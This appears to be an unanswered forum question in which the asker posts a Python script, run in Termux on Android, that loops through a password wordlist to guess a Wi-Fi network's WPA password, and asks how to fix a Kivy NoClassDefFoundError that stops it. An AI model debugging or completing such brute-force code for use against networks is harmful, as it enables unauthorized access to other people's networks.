I a having this problem maing dictionary attack wifi python from android how can i fix this

45 views Asked by At

I got this error trying to connect wifi using wifidroid module . I can't understand what type of problem is this. Is it termux or python or any other.

code

GNU nano 7.2                    mywifidict.py
import kivy
import wifidroid
from wifidroid.wifi import WifiManager

ssid = input("Enter wifi ssid: ")
pwdname = input("Enter password dictionary: ")

try:
    wifi = WifiManager()
except Exception as e:
    print(f"Error initializing WifiManager: {e}")
    exit()

with open(pwdname, 'r') as file:
    possible_passwords = [word.strip() for word in file.readlines()]

for password in possible_passwords:
    try:
        wifi.ConnectWifiWpa(ssid, password)
        print(f"Checking password: {password}")

        connection_state = wifi.isConnected()

        if connection_state:
            print("Connected")

Error

[INFO   ] [Logger      ] Record log in /data/data/com.termux/files/home/.kivy/logs/kivy_23-11-25_6.txt
[INFO   ] [Kivy        ] v2.3.0.dev0, git-9c8528d, 20231124
[INFO   ] [Kivy        ] Installed at "/data/data/com.termux/files/usr/lib/python3.11/site-packages/kivy/__init__.py"
[INFO   ] [Python      ] v3.11.6 (main, Oct  4 2023, 09:28:27) [Clang 14.0.7 (https://android.googlesource.com/toolchain/llvm-project 4c603efb0
[INFO   ] [Python      ] Interpreter at "/data/data/com.termux/files/usr/bin/python3"
[INFO   ] [Logger      ] Purge log fired. Processing...
[INFO   ] [Logger      ] Purge finished!
Enter wifi ssid: hi
Enter password dictionary: hello
Error initializing WifiManager: JVM exception occurred: org/kivy/android/PythonActivity java.lang.NoClassDefFoundError

 

*I a using termux as my terminal from mobile device"

I have used chtgpt to fix itmany times but didn't work.it just made if error occured then print this.

0

There are 0 answers